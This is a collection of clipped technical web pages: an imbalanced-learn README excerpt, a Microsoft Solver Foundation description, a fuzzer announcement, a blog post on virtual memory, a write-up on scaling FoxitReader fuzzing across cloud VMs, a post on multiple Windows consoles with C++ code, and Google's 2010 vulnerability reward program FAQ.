imbalanced-learn is tested to work under Python 2.7 and Python 3.5, and 3.6.
The dependency requirements are based on the last scikit-learn release:

  * scipy\(>=0.13.3\)
  * numpy\(>=1.8.2\)
  * scikit-learn\(>=0.19.0\)

Additionally, to run the examples, you need matplotlib\(>=2.0.0\).

#### Installation

imbalanced-learn is currently available on the PyPi's repository and you can
install it via pip:

[code]

    pip install -U imbalanced-learn
    
[/code]

The package is release also in Anaconda Cloud platform:

[code]

    conda install -c glemaitre imbalanced-learn
    
[/code]

If you prefer, you can clone it and run the setup.py file. Use the following
commands to get a copy from GitHub and install all dependencies:

[code]

    git clone https://github.com/scikit-learn-contrib/imbalanced-learn.git
    cd imbalanced-learn
    pip install .
    
[/code]

Or install using pip and GitHub:

[code]

    pip install -U git+https://github.com/scikit-learn-contrib/imbalanced-learn.git
    
[/code]

#### Testing

After installation, you can use nose to run the test suite:

[code]

    make coverage
    
[/code]

### Development

The development of this scikit-learn-contrib is in line with the one of the
scikit-learn community. Therefore, you can refer to their Development Guide.

### About

If you use imbalanced-learn in a scientific publication, we would appreciate
citations to the following paper:

[code]

    @article{JMLR:v18:16-365,
    author  = {Guillaume  Lema{{\^i}}tre and Fernando Nogueira and Christos K. Aridas},
    title   = {Imbalanced-learn: A Python Toolbox to Tackle the Curse of Imbalanced Datasets in Machine Learning},
    journal = {Journal of Machine Learning Research},
    year    = {2017},
    volume  = {18},
    number  = {17},
    pages   = {1-5},
    url     = {http://jmlr.org/papers/v18/16-365}
    }
    
[/code]

Most classification algorithms will only perform optimally when the number of
samples of each class is roughly the same. Highly skewed datasets, where the
minority is heavily outnumbered by one or more classes, have proven to be a
challenge while at the same time becoming more and more common.

One way of addressing this issue is by re-sampling the dataset as to offset
this imbalance with the hope of arriving at a more robust and fair decision
boundary than you would otherwise.

Re-sampling techniques are divided in two categories:

    
  1. Under-sampling the majority class\(es\).
  2. Over-sampling the minority class.
  3. Combining over- and under-sampling.
  4. Create ensemble balanced sets.

Below is a list of the methods currently implemented in this module.

  * Under-sampling
    
    1. Random majority under-sampling with replacement
    2. Extraction of majority-minority Tomek links \[1\]
    3. Under-sampling with Cluster Centroids
    4. NearMiss-\(1 & 2 & 3\) \[2\]
    5. Condensend Nearest Neighbour \[3\]
    6. One-Sided Selection \[4\]
    7. Neighboorhood Cleaning Rule \[5\]
    8. Edited Nearest Neighbours \[6\]
    9. Instance Hardness Threshold \[7\]
    10. Repeated Edited Nearest Neighbours \[14\]
    11. AllKNN \[14\]
  * Over-sampling
    
    1. Random minority over-sampling with replacement
    2. SMOTE - Synthetic Minority Over-sampling Technique \[8\]
    3. bSMOTE\(1 & 2\) - Borderline SMOTE of types 1 and 2 \[9\]
    4. SVM SMOTE - Support Vectors SMOTE \[10\]
    5. ADASYN - Adaptive synthetic sampling approach for imbalanced learning \[15\]
  * Over-sampling followed by under-sampling
    
    1. SMOTE + Tomek links \[12\]
    2. SMOTE + ENN \[11\]
  * Ensemble sampling
    
    1. EasyEnsemble \[13\]
    2. BalanceCascade \[13\]

The different algorithms are presented in the sphinx-gallery.

### References:

\[1\]| : I. Tomek, “Two modifications of CNN,” In Systems, Man, and
Cybernetics, IEEE Transactions on, vol. 6, pp 769-772, 2010.  
---|---  
\[2\]| : I. Mani, I. Zhang. “kNN approach to unbalanced data distributions: a
case study involving information extraction,” In Proceedings of workshop on
learning from imbalanced datasets, 2003.  
---|---  
\[3\]| : P. Hart, “The condensed nearest neighbor rule,” In Information
Theory, IEEE Transactions on, vol. 14\(3\), pp. 515-516, 1968.  
---|---  
\[4\]| : M. Kubat, S. Matwin, “Addressing the curse of imbalanced training
sets: one-sided selection,” In ICML, vol. 97, pp. 179-186, 1997.  
---|---  
\[5\]| : J. Laurikkala, “Improving identification of difficult small classes
by balancing class distribution,” Springer Berlin Heidelberg, 2001.  
---|---  
\[6\]| : D. Wilson, “Asymptotic Properties of Nearest Neighbor Rules Using
Edited Data,” In IEEE Transactions on Systems, Man, and Cybernetrics, vol. 2
\(3\), pp. 408-421, 1972.  
---|---  
\[7\]| : D. Smith, Michael R., Tony Martinez, and Christophe Giraud-Carrier.
“An instance level analysis of data complexity.” Machine learning 95.2
\(2014\): 225-256.  
---|---  
\[8\]| : N. V. Chawla, K. W. Bowyer, L. O.Hall, W. P. Kegelmeyer, “SMOTE:
synthetic minority over-sampling technique,” Journal of artificial
intelligence research, 321-357, 2002.  
---|---  
\[9\]| : H. Han, W. Wen-Yuan, M. Bing-Huan, “Borderline-SMOTE: a new over-
sampling method in imbalanced data sets learning,” Advances in intelligent
computing, 878-887, 2005.  
---|---  
\[10\]| : H. M. Nguyen, E. W. Cooper, K. Kamei, “Borderline over-sampling for
imbalanced data classification,” International Journal of Knowledge
Engineering and Soft Data Paradigms, 3\(1\), pp.4-21, 2001.  
---|---  
\[11\]| : G. Batista, R. C. Prati, M. C. Monard. “A study of the behavior of
several methods for balancing machine learning training data,” ACM Sigkdd
Explorations Newsletter 6 \(1\), 20-29, 2004.  
---|---  
\[12\]| : G. Batista, B. Bazzan, M. Monard, \[“Balancing Training Data for
Automated Annotation of Keywords: a Case Study,” In WOB, 10-18, 2003.  
---|---  
\[13\]| _\(1, 2\)_ : X. Y. Liu, J. Wu and Z. H. Zhou, “Exploratory
Undersampling for Class-Imbalance Learning,” in IEEE Transactions on Systems,
Man, and Cybernetics, Part B \(Cybernetics\), vol. 39, no. 2, pp. 539-550,
April 2009.  
---|---  
\[14\]| _\(1, 2\)_ : I. Tomek, “An Experiment with the Edited Nearest-Neighbor
Rule,” IEEE Transactions on Systems, Man, and Cybernetics, vol. 6\(6\), pp.
448-452, June 1976.  
---|---  
\[15\]| : He, Haibo, Yang Bai, Edwardo A. Garcia, and Shutao Li. “ADASYN:
Adaptive synthetic sampling approach for imbalanced learning,” In IEEE
International Joint Conference on Neural Networks \(IEEE World Congress on
Computational Intelligence\), pp. 1322-1328, 2008.  
---|---  
  

# Solver Foundation

**Created:**| _12/7/2012 1:06:14 PM_  
---|---  
**Updated:**| _12/7/2012 1:06:14 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification modeling_  
  
  

### Solver Foundation

<img src='img/Temp2_7622.png' width='453' height='137' />

##### Microsoft Solver Foundation

Solver Foundation makes it easier to build and solve real optimization models.
Solver Foundation includes a declarative modeling language \(OML\) for
specifying optimization models; a .NET API and runtime \(Solver Foundation
Services\) for model creation, reporting, and analysis; and powerful built-in
solvers. Key features include:

  * Modeling and solving scenarios by using constraints, goals, and data.
  * Programming in the Optimization Modeling Language \(OML\), in C\# imperatively, in F\# functionally, or in any .NET language.
  * Built-in solvers for commonly encountered model types.
  * Integration with popular solvers such as  Gurobi,  Ziena Knitro,  Frontline Solver Platform SDK™,  Mosek™,  FICO™ Xpress,  LINDO, and lp\_solve.
  * Interfaces to familiar tools such as Microsoft Office Excel and SharePoint to create and solve models.

Microsoft Solver Foundation is a .NET solution for mathematical optimization
and modeling. Solver Foundation makes it easier to build and solve real-world
optimization models by providing a .NET API and runtime for model creation,
reporting, and analysis; a declarative language \(OML\) for model
specification; and powerful built-in solvers.  
---  
  

# CENSUS | Introducing Choronzon: an approach at knowledge-based evolutionary fuzzing
**Created:**| _12/8/2015 10:48:40 AM_  
---|---  
**Updated:**| _12/8/2015 10:48:40 AM_  
**Author:**| __  
**Tags:**| __  
  

# Introducing Choronzon: an approach at knowledge-based evolutionary fuzzing

CENSUS researchers Nikolaos Naziridis and Zisis Sialveras have recently
presented their research on knowledge-based evolutionary fuzzing, at
ZeroNights 2015 in Moscow, Russia. The talk introduced a cross-platform
evolutionary fuzzing framework, that will be released as a free and open-
source tool.

<img src='img/Temp2_1270.png' />

The tool that was created as a result of this research is a file format fuzzer
that uses evolutionary algorithms to produce new test files. The target file
format is described by the user, via a simple python API which can focus the
fuzzer to a specific subset of features of the target application. In the
talk, we discussed the reasons we had to develop the fuzzer, along with the
thought process that led us to the current list of supported features in
Choronzon. We presented the tool’s architecture, its design and engineering
approach as well as the problems we have faced and the solutions we came up
with. Finally, we compared the different fuzzing strategies implemented in
other feedback-driven fuzzers, namely honggfuzz and AFL against the techniques
we used in Choronzon.

You may find the slide deck here.

The conference was a fun experience with a lot of interesting content this
year. Many thanks to the organizing committee, as well as the team of
volunteers for all their efforts to ease our stay in Moscow and facilitate our
talk.

# Virtual Machines: Memory « Corensic

**Created:**| _12/1/2011 11:54:56 PM_  
---|---  
**Updated:**| _12/1/2011 11:54:56 PM_  
**Author:**| __  
**Tags:**| _virtusalisation Memory_  
  

## Virtual Machines: Memory

Posted by Bartosz Milewski under hypervisor, kernel, virtual machine  
\[7\] Comments

There have been times when a computer could only run one application at a
time. Nowadays even smartphones try to run multiple programs in parallel. The
next logical step is to run multiple operating systems in parallel on the same
machine. A modern PC has enough resource and speed to do it efficiently.
Welcome to the era of virtual machines.

The VM technology has entered the mainstream in the recent years with Intel
and AMD building support for it into their popular chips. If you have a
computer that is less than five years old, there is a good chance that it
supports virtualization in hardware. Even if you don’t feel the urge to run
Linux and Windows at the same time on your laptop, virtualization has many
other interesting uses that are only now being explored. Since Corensic’s own
product, Jinx, uses virtualization for debugging concurrent programs, in this
series of blog posts we will share our knowledge of VM technology with you.

The idea of a virtual machine is not hard to grasp. There is a perfect analogy
for it: the relationship between processes and the operating system.

Imagine that you are a process: You live in virtual reality in which you have
exclusive access to an almost arbitrary number of processors on which to run
your threads. You also have access to a large swath of contiguous memory,
limited only by your addressing capabilities \(32- or 64-bit\). And for all
you know you are the only process in the universe.

The same way the OS can fool processes, a _hypervisor_ can fool the OS. A
hypervisor creates the illusion of a machine on which the OS operates–the
virtual machine. And it does it in a very similar way.

In this series I will discuss different areas of virtualization, first by
describing how they are implemented for processes by the OS, and then for the
OS by the hypervisor. In this installment, I’ll talk about how the operating
system virtualizes memory.

# Virtual Memory

There are three major aspects of virtual memory:

  1. Providing a process with the illusion of large contiguous memory space
  2. Allowing multiple processes to run in parallel
  3. Hiding the operating system code and data from processes and hiding processes from each other 

The illusion is created by the operating system with the help of hardware.

It’s the OS that creates a process that executes a program. It provides the
process with means to access its 32-bit or 64-bit address space. It does it by
mapping each address used by the program \(a.k.a., _virtual_ address\) into an
address in computer memory \(a.k.a., _physical_ address\). So when the program
dereferences a pointer, this pointer is translated into an actual address in
memory.

## Address Translation

Address translation is done using a table. Conceptually it’s a table that maps
every virtual address to its corresponding physical address. In practice, the
address space is divided into larger chunks called pages and the _page table_
maps virtual pages into physical pages. It would still be a lot of data to map
the whole virtual address space, so page tables are organized in a tree
structure and only some branches of it are present in memory at any given
time.

Let’s see how this works on a 32-bit x86. There is a top-level page directory
table with entries that point to lower-level page tables. When it comes to
translating a virtual address, the x86 takes the top 10 bits of the address
and uses them as an offset into the directory table. How does it find the
directory table? It stores the pointer to it in one of the special control
registers, called CR3. An entry in the directory table contains a pointer to
the corresponding page table. The x86 uses the next 10 bits of the virtual
address to offset into that table. Finally, the entry in the page table
contains the address of the physical page. The lowest 12 bits of the virtual
address are then used as the offset into that page.

<img src='img/Temp2_8893.png' width='510' height='328' />

Virtual address decoding

This kind of table walking is relatively expensive, and it involves multiple
memory accesses, so a caching mechanism is used to speed it up. The x86 has a
special Translation Lookaside Buffer, TLB, in which most recently used page
translations are stored. If the upper 20 bits of a given address are present
in the TLB, address translation is very fast. In the case of a TLB miss, the
processor does the table walk and stores the new translation in the TLB. On
the x86, table walking is implemented in hardware which, in retrospect, turned
out to be not such a great idea. We’ll talk about it more in the context of
virtualization of virtual memory.

## Page Fault

At this point I would like to say that virtual address space is much larger
than the amount of physical memory normally available on a PC, but that’s no
longer true. I have 4GB of memory in my laptop, which is the maximum amount
addressable by a 32-bit processor. But then again, my laptop runs on a 64-bit
processor, which can address exabytes of memory. In any case, virtual memory
was designed to allow the addressing of more memory than is physically
available to a particular process.

One way to look at it is that physical memory is nothing but a large cache for
the main storage medium: the hard disk. Indeed, when a process asks the OS for
memory, the OS reserves a chunk of disk space inside the swap file and creates
some dummy entries for it in the page table. When the program first tries to
access this memory, the processor goes through the usual hoops: it looks it up
in the TLB–nothing there–then it starts walking the tables and finds the dummy
entry. At this point it gives up and faults. Now it is up to the operating
system to process the page fault. It has previously registered its handler
with the processor and now this handler is executed.

This is what the page fault handler does:

  1. It allocates a page of physical memory. If there aren’t any free pages, it swaps an existing one to disk and invalidates its page entry.
  2. If the page had been previously swapped out, the handler reads the data from the page file to the newly allocated physical page
  3. It updates the page table and the TLB
  4. It restarts the faulting instruction

Notice that all this is totally transparent to the running process. This kind
of _trap and emulate_ mechanism forms the basis of all virtualization.

## Isolation

Virtual memory is also used to run multiple processes on the same machine.
Processes are defined in terms of their address spaces: unlike threads,
processes can’t access each other’s memory. Every process has its own virtual
address space with its own private page table. One process cannot peek at
another process’s memory simply because there is no way it can address it.

At the hardware level, when the operating system assigns an x86 processor \(or
core\) to a given process, it sets its CR3 register to point to that process’s
page directory. In a multitasking environment this assignment changes with
every context switch.

Setting one control register is not an expensive operation, but on an x86 it
must be accompanied by a TLB flush, which results in new table walks to fill
it again; and that might be quite expensive. This is why both Intel and AMD
have recently added Address Space Identifiers \(ASIDs\) to TLB entries in
their newest processors. TLBs with ASIDs don’t have to be flushed, the
processor will just ignore the entries with the wrong ASIDs.

One of the important aspects of virtual memory is that it provides isolation
between processes: one process can’t modify, or even see, another process’s
memory. This not only prevents one buggy programs from trashing the whole
system \(a common occurrence in DOS or the first versions of Windows\), but
also improves overall security of the system.

## Levels of Privilege

Full isolation would be impossible if a user program could directly manipulate
page tables. This is something that only the trusted operating system should
be able to do. For instance, a user program should not be able to set the
value of CR3. This prohibition has to be enforced at the processor level,
which designates certain instructions as privileged. Such instructions must be
accessible from the kernel of the operating system, but cause a fault when a
user process tries to execute them. The x86 must therefore be able to
distinguished these two modes of operations: kernel \(a.k.a., supervisor\) and
user. For historical reasons, the x86 offers four levels of protection called
rings: ring 0 corresponding to kernel mode and rings 1, 2, and 3 to user mode.
In practice, only ring 0 and 3 are used, except for some implementations of
virtualization.

When the operating system boots, it starts in kernel mode, so it can set up
the page tables and do other kernel-only things. When it starts an
application, it creates a ring 3 process for it, complete with separate page
tables. The application may drop back into the kernel only through a trap, for
instance when a page fault occurs. A trap saves the state of the processor,
switches the processor to kernel mode, and executes the handler that was
registered by the OS.

In the next installment I’ll explain how the hypervisor fools the operating
system by virtualizing virtual memory.

### Share this:

  * Digg
  * Reddit
  * StumbleUpon
  * More
  * 

### Like this:

Like

Be the first to like this post.

# Throwing 500 vm’s at your fuzzing target being an individual security
researcher

**Created:**| _5/10/2019 8:20:33 AM_  
---|---  
**Updated:**| _5/10/2019 8:20:33 AM_  
**Author:**| __  
**Tags:**| _performance fuzzing_  
  

  

# Adobe Reader progress

One year ago I blogged about my many attempts and failures at fuzzing Adobe
Reader and finding exploitable security issues.

Meanwhile, I realized that writing your own fuzzers is the way to go as
confirmed by my first CVE-2018-19713 for Adobe Reader. Found the bug using
‘What The Fuzz’ targeting a custom plugin I coded which integrates with Adobe
Reader.

So what’s the next step?

# Fuzzing FoxitReader

Excellent research has been shared on exploiting FoxitReader by
@steventseeley, which inspired me to switch from Adobe to Foxit as a target.

Having learned from Adobe Reader I immediately tried to find a way to fuzz
FoxitReader using What The Fuzz. There are many routes to fuzzing FoxitReader
and it’s out of the scope of this blog post to go in depth.

To summarize: my fuzzer generates inputs and replaces them in target process
memory, resetting FoxitReader’s instruction pointer to evaluate new inputs
over and over. No inputs ever touch the harddisk, meaning it’s pretty fast\!

# The importance of scaling up

So far so good, now let’s do some calculations to get an understanding of the
importance of scaling up your fuzzing efforts.

According to a presentation given by @ifsecure, testing browsers you should
try about 100.000.000 different inputs. Let’s make this our target number.
Given my ability to fuzz at about 1.5 inputs per second per vm this would take
about 771 days running 1 vm. This makes no sense: within that long period of
time, FoxitReader has been updated multiple times and bugs have been fixed.
Even worse: it will take way too long to find out if your fuzzing strategy
actually works or needs improvement. Even with 10 vm’s, which is still
manually manageable, it will take months.

Sure, fuzzing 1.5 inputs per second is generally considered to be slow. Let’s
take into account that my input files are quite large on purpose, so parsing
takes time. Furthermore, I’m targeting FoxitReader as a whole, not a small dll
or harness, which is also the reason I can only run 1 fuzzer per vm instead of
simply using multiple cores. FoxitReader can’t run multiple instances in
parallel.

What if we could use 500 vm’s instead of 1 or 10? We’ll end up needing only 2
days\!

This makes for a solid case of scaling up. But where to find enough power
without spending too much money? How to orchestrate a massive amount of vm’s?

# How to scale up

Keep in mind some of the bigger tech companies may have in house fuzzing at
scale ‘as a service’, but what if you are on your own?

Here’s a list of things we need to accomplish:

  * Fuzzing your target \(e.g. FoxitReader\)
  * Running on Windows 8
  * At scale
  * Keeping costs low
  * Collecting crashes

Quickly you’ll realize you need a cloud provider with enough power. Yet
running 500 instances with Google, Amazon or Azure will certainly become an
expensive experience. Let alone not all of them will allow you to bring your
own Windows version/license. It’s advisable not to settle for a ready-made
Windows Server image: FoxitReader is the target, not the exploit mitigations
Windows may have added. Currently, I’d stick to Windows 8.

## Keeping costs low

Let’s look at the problem of the costs. Think in terms of spare capacity. Most
cloud providers will not be selling 100% of their capacity to their customers
all the time. Many cloud providers offer their spare capacity at reduced
costs, but of course, there’s always a catch. For instance: you may buy a
spare vm at 20% of the normal costs, but within 24 hours maximum, it will be
removed from your account because it was sold for the regular price to another
customer.

## Collecting crashes

Now you might be thinking ‘what happens to my crashes when I suddenly lose my
running vm’s and fuzzers?’. Good question ;-\) How about creating some
external storage like an S3 bucket and having your fuzzer push every crash it
finds to the bucket? While you’re at it, using something like pushbullet you
can make your fuzzer send you a push notification to your phone every time you
find a crash\!

## At scale

But you keep on losing vm’s during fuzzing because of the usage of spare
capacity, right? In comes the autoscaling feature of your cloud provider\!
Autoscaling groups allow you to define a minimum/maximum set of instances
running a certain image and instance type. Setting the minimum and maximum
amount to the same number and ensuring we use spare capacity and our own
image, it doesn’t matter if the cloud provider decides to remove one or
multiple vm’s all the time: new ones will automatically be launched to stay in
shape with the min/max we defined. This process may take some time \(vm’s need
to be allocated and booted\), so we just add this overhead to our calculations
targeting the number of inputs we want to fuzz.

## Running on Windows 8

Time to think about running your own Windows version next. You may not be able
to create an image to launch new vm’s with Windows 8, but we sure are able to
create images from a Linux vm offered by the cloud provider. What if you could
split a multi-core Linux vm into multiple nested single core Windows 8 vm’s?
In comes Proxmox\! Proxmox allows you to manage resource allocation using a
web interface and installing vm’s using any .iso you prefer, including
Windows. As long as your cloud provider offers instances that allow for nested
VT-X, the performance penalty of nesting will be minimal.

## Step by step

If you do not fully understand the pieces of the puzzle, please award yourself
some time to learn more about engineering and then try this again. Start by
getting yourself a cloud account and playing with things, building things,
breaking things and fixing them.

So let’s put two and two together:

  * Find yourself a cloud provider offering the usage of nested vm’s \(VT-X\) and spare capacity usage
  * Calculate the sweet spot of instances x cores in terms of costs, for me 50 vm’s with 10 cores each was the cheapest. This works out to 24gb ram \(10 \* 2 + slack\) and 50gb SSD each.
  * Install Proxmox on a Linux instance and install Windows in a nested vm on a single core.
  * Code the pushing of crashing inputs to external storage like S3 into your fuzzer of choice.
  * Install both your fuzzer and target application.
  * Set your fuzzer to run automatically at Windows startup.
  * Convert the Windows vm into a ‘template’. Now create linked clones until you have as many Windows vm’s as you have cores available on this instance. Linked clones save space and the performance penalty is minimal.
  * Toggle all of the vm’s to run automatically at Proxmox boot.
  * Create an image of your fully ready Proxmox instance.
  * Create an autoscaling group using your image and instance type of choice, using spare capacity, setting the minimum and maximum number of instances to 2. Always ensure everything works exactly as expected before scaling up.
  * Everything good? Then let’s go and up the min/max to 50, effectively resulting in 500 Windows vm’s fuzzing FoxitReader in parallel\!
  * You may hit limits set by your cloud provider, like the maximum number of cores you may use at once. Respectfully requesting a limit increase truthfully explaining your intentions worked out for me.

<img src='img/post_500-scaling.png' width='740' height='501' />

Ending up with 48 hours of fuzzing hitting the 100.000.000 inputs mark, I was
charged about $250,-.

# Room for improvement

It would be nice if the fuzzer could update itself upon vm launch by
downloading and extracting ‘latest.zip’. This way you can update your fuzzer,
settings, grammar, etc. without having to create a new vm image saving you
time between iterations.

# Last words

On a day to day basis, I experience the advantage of knowing how to code and
automate things, supporting my security research. It works out both ways:
security awareness actively improves your quality of work as a developer /
engineer. Having experience with all of dev/sec/ops gives you many new
opportunities to step up your game.

Don’t forget to document and git version your work. After a couple of months
you need to be able to pick up where you left, certain things will not make
sense anymore by that time.

Thanks @rnotcln for inspiring me to think about properly scaling fuzzing jobs.
Thanks @steventseeley for sharing high-quality posts on FoxitReader and
proofreading this blog post. Thanks @ifsecure for the magic inputs number and
open sourced tooling.

Let’s keep on hacking\!

Cheers, kciredor

# Multiple Consoles in a Windows App « Just Let It Flow

**Created:**| _10/29/2011 1:48:39 PM_  
---|---  
**Updated:**| _10/29/2011 1:48:39 PM_  
**Author:**| __  
**Tags:**| _windows programming_  
  

### Multiple Consoles in a Windows App

Filed under: Code,Windows — adeyblue @ 4:29 am

Every so often the topic of having multiple consoles for a single application
comes up on various fora around the internet and the reaction is, that you
can’t. While this is correct from a technical/windows architecture standpoint,
the illusion of multiple consoles can be realised in differing ways with
varying by degrees of work required.

The first opportunity for multiple consoles is to look into how Windows
allocates consoles. The first port of call is AllocConsole, which will setup a
console for a process if it doesn’t already have one. The value indicating
whether an application has a console is held in the RTL\_USER\_PROCESS\_PARAMS
structure pointed to by the PEB, in the ConsoleHandle member. If this value is
NULL/0, then a new console will be created otherwise nothing will happen.
Knowing this, we can create multiple consoles by nulling out the value and
calling AllocConsole for every console we want to create. Since the console
handle that is in the PEB struct is the one used by the Windows function, the
logical conclusion for multiple consoles would be to cache the values that
AllocConsole puts there and swap them in and out as required. Unfortunately,
CSRSS, the process which doles out and owns the console windows, only keeps
track of the last window it gave a process. Operations on any of the previous
handles it allocated return an error leaving all other console windows in a
zombie state. While it is fun to have lots of uncloseable console windows
around, it’s no go as far as practical usage.

An aid to a more practical method of multi-consoling a process was introduced
with Windows XP. Utilising the AttachConsole function, a process can connect
to the console of an arbitrary process and use it as its own. Combining this
with spawning console-owning child processes and a degree of multi-consoling
can be achieved, all that’s required are the process id’s of the children and
3 freopen calls to rebind the stdin, stdout and stderr handles to the new
console. While this is an easily implementable and practical way of going
about it, using this method means that the parent process cannot have a
console of its’ own as FreeConsole is needed by the switching method. Another
downside is that only one console can be interactive at a time, leaving the
others alive but pretty useless until they’re switched to.

A third option for effective multi-consoling starts similarly to the previous
option. When a child process is spawned, rather than attaching to it’s console
directly, the handles it uses for stdin, stdout and stderr can be redirected
to a pair of named pipes so that whatever is written to them can be read from
the parent. The implementation is made a little more tricky as extra work has
to be done in the child process both to enable keyboard input and to echo any
prompts to the console. The other bone of contention when implementing this
method is the wrapper around the pipe communication. Communicating simple
types is easy enough with the bare Read/WriteFile functions, but if you want
to use objects like std::string, or be able to use other C++ standard library
functionality such as std::i/ostream\_iterator and std::copy, the complexity
increases dramatically.

Luckily, now there’s a convenient, easy to use library that provides all of
this functionality for free. Imaginatively called Multi-Console, all it
requires is the inclusion of a header and linking with the generated lib and
you’re all set. The lib handles the generation and deletion of a “surrogate”
console exe and required input/output redirection for child processes.
Lifetime of a console is governed by a reference counted handle, and
communication is achieved through the normal iostream interface.

Here’s the simple example program:

[code]

    #include <iostream>
    #include <vector>
    #include <algorithm>
    #include <iterator>
    #include "Console.h"
     
    int main()
    {
        // get a handle to the process' default built console provided by Windows
        Con::Handle original = Con::GetOriginal();
        if(original) // this will be false for a non-console application
        {
            original << "Printing hello to original console\n";
        }
        std::cout << "Printing hello to original console again\n";
        // creates a new console
        Con::Handle second;
        if(Con::Create(second))
        {
            // bring it to the front of all windows
            second->bring_to_top();
            // write a message to it
            second << "Printing to second, please input an int\n";
            // grab an int from it
            int test = 0;
            second >> test;
            // echo the int
            second << "You entered " << test << '\n';
            // create a third
            Con::Handle third;
            if(Con::Create(third))
            {
                // bring it to the top
                third->bring_to_top();
                // print a messgae
                third << "Enter a series of ints\n";
                std::vector<int> intVec;
                // grab a bunch of ints from the third's console
                // the handle needs derefencing to grab the istream from a Handle
                std::copy(std::istream_iterator<int>(*third), std::istream_iterator<int>(), std::back_inserter(intVec));
                // bring second back to the forefront
                second->bring_to_top();
                // echo the ints
                second << "Some ints were read in on third, they were:\n";
                // make_ostream_iterator is required in order to see the results on second. 
                // The copy operation will work with normal std::ostream_iterator but
                // flush will need to be called on the console handle to make them visible
                //
                // the commented line below is equivalent to the two below it
                // std::copy(intVec.begin(), intVec.end(), make_ostream_iterator<int>(second, "\n"));
                std::copy(intVec.begin(), intVec.end(), std::ostream_iterator<int>(*second, "\n"));
                second->flush();
                // simulate losing the reference to the second console
                // this will close second
                second.reset();
                // bring third back to the front
                third->bring_to_top();
                // do the same with it
                third << "Second destroyed, killing third\n";
                third.reset();
            }
            if(original)
            {
                original->bring_to_top();
                // losing a reference to original doesn't destroy the processes console
                original << "Printing to first\n";
            }
        }
        return 0;
    }
[/code]

Comments \(1\)

##

# Google Online Security Blog

**Created:**| _11/6/2010 5:51:02 PM_  
---|---  
**Updated:**| _11/6/2010 5:51:02 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Google pentest awesome_  
  

### Rewarding web application security research

## Monday, November 1, 2010 12:30 PM

Posted by Chris Evans, Neel Mehta, Adam Mein, Matt Moore, and Michal Zalewski;
Google Security Team  
  
Back in January of this year, the Chromium open source project launched a
well-received vulnerability reward program. In the months since launch,
researchers reporting a wide range of great bugs have received rewards — a
small summary of which can be found in the Hall of Fame. We've seen a
sustained increase in the number of high quality reports from researchers, and
their combined efforts are contributing to a more secure Chromium browser for
millions of users.  
  
Today, we are announcing an experimental new vulnerability reward program that
applies to Google web properties. We already enjoy working with an array of
researchers to improve Google security, and some individuals who have provided
high caliber reports are listed on our credits page. As well as enabling us to
thank regular contributors in a new way, we hope our new program will attract
new researchers and the types of reports that help make our users safer.  
  
In the spirit of the original Chromium blog post, we have some information
about the new program in a question and answer format below:  
  
**Q\) What applications are in scope?**  
A\) Any Google web properties which display or manage highly sensitive
authenticated user data or accounts may be in scope. Some examples could
include:  

  * \*.google.com
  * \*.youtube.com
  * \*.blogger.com
  * \*.orkut.com

For now, Google's client applications \(e.g. Android, Picasa, Google Desktop,
etc\) are not in scope. We may expand the program in the future.  
  
**Q\) What classes of bug are in scope?**  
A\) It's difficult to provide a definitive list of vulnerabilities that will
be rewarded, however, any serious bug which directly affects the
confidentiality or integrity of user data may be in scope. We anticipate most
rewards will be in bug categories such as:  

  * XSS
  * XSRF / CSRF
  * XSSI \(cross-site script inclusion\)
  * Bypassing authorization controls \(e.g. User A can access User B's private data\)
  * Server side code execution or command injection

Out of concern for the availability of our services to all users, we ask you
to refrain from using automated testing tools.  
  
These categories of bugs are definitively excluded:  

  * attacks against Google’s corporate infrastructure
  * social engineering and physical attacks
  * denial of service bugs
  * non-web application vulnerabilities, including vulnerabilities in client applications
  * SEO blackhat techniques
  * vulnerabilities in Google-branded websites hosted by third parties
  * bugs in technologies recently acquired by Google

**Q\) How far should I go to demonstrate a vulnerability?**  
A\) Please, only ever target your own account or a test account. Never attempt
to access anyone else's data. Do not engage in any activity that bombards
Google services with large numbers of requests or large volumes of data.  
  
**Q\) I 've found a vulnerability — how do I report it?**  
A\) Contact details are listed here. Please only use the email address given
for actual vulnerabilities in Google products. Non-security bugs and queries
about problems with your account should should instead be directed to the
Google Help Centers.  
  
**Q\) What reward might I get?**  
A\) The base reward for qualifying bugs is $500. If the rewards panel finds a
particular bug to be severe or unusually clever, rewards of up to $3,133.7 may
be issued. The panel may also decide a single report actually constitutes
multiple bugs requiring reward, or that multiple reports constitute only a
single reward.  
  
We understand that some researchers aren’t interested in the money, so we’d
also like to give you the option to donate your reward to charity. If you do,
we'll match it — subject to our discretion.  
  
Regardless of whether you're rewarded monetarily or not, all vulnerability
reporters who interact with us in a respectful, productive manner will be
credited on a new vulnerability reporter page. If we file a bug internally,
you'll be credited.  
  
Superstar performers will continue to be acknowledged under the "We Thank You"
section of this page.  
  
**Q\) How do I find out if my bug qualified for a reward?**  
A\) You will receive a comment to this effect in an emailed response from the
Google Security Team.  
  
**Q\) What if someone else also found the same bug**?  
A\) Only the first report of a given issue that we had not yet identified is
eligible. In the event of a duplicate submission, only the earliest received
report is considered.  
  
**Q\) Will bugs disclosed without giving Google developers an opportunity to
fix them first still qualify?**  
A\) We believe handling vulnerabilities responsibly is a two-way street. It's
our job to fix serious bugs within a reasonable time frame, and we in turn
request advance, private notice of any issues that are uncovered.
Vulnerabilities that are disclosed to any party other than Google, except for
the purposes of resolving the vulnerability \(for example, an issue affecting
multiple vendors\), will usually not qualify. This includes both full public
disclosure and limited private release.  
  
**Q\) Do I still qualify if I disclose the problem publicly once fixed?**  
A\) Yes, absolutely\! We encourage open collaboration. We will also make sure
to credit you on our new vulnerability reporter page.  
  
**Q\) Who determines whether a given bug is eligible?**  
A\) Several members of the Google Security Team including Chris Evans, Neel
Mehta, Adam Mein, Matt Moore, and Michal Zalewski.  
  
**Q\) Are you going to list my name on a public web page?**  
A\) Only if you want us to. If selected as the recipient of a reward, and you
accept, we will need your contact details in order to pay you. However, at
your discretion, you can choose not to be listed on any credit page.  
  
**Q\) No doubt you wanted to make some legal points?**  
A\) Sure. We encourage broad participation. However, we are unable to issue
rewards to individuals who are on sanctions lists, or who are in countries
\(e.g. Cuba, Iran, North Korea, Sudan and Syria\) on sanctions lists. This
program is also not open to minors. You are responsible for any tax
implications depending on your country of residency and citizenship. There may
be additional restrictions on your ability to enter depending upon your local
law.  
  
This is not a competition, but rather an experimental and discretionary
rewards program. You should understand that we can cancel the program at any
time, and the decision as to whether or not to pay a reward has to be entirely
at our discretion.  
  
Of course, your testing must not violate any law, or disrupt or compromise any
data that is not your own.  
  
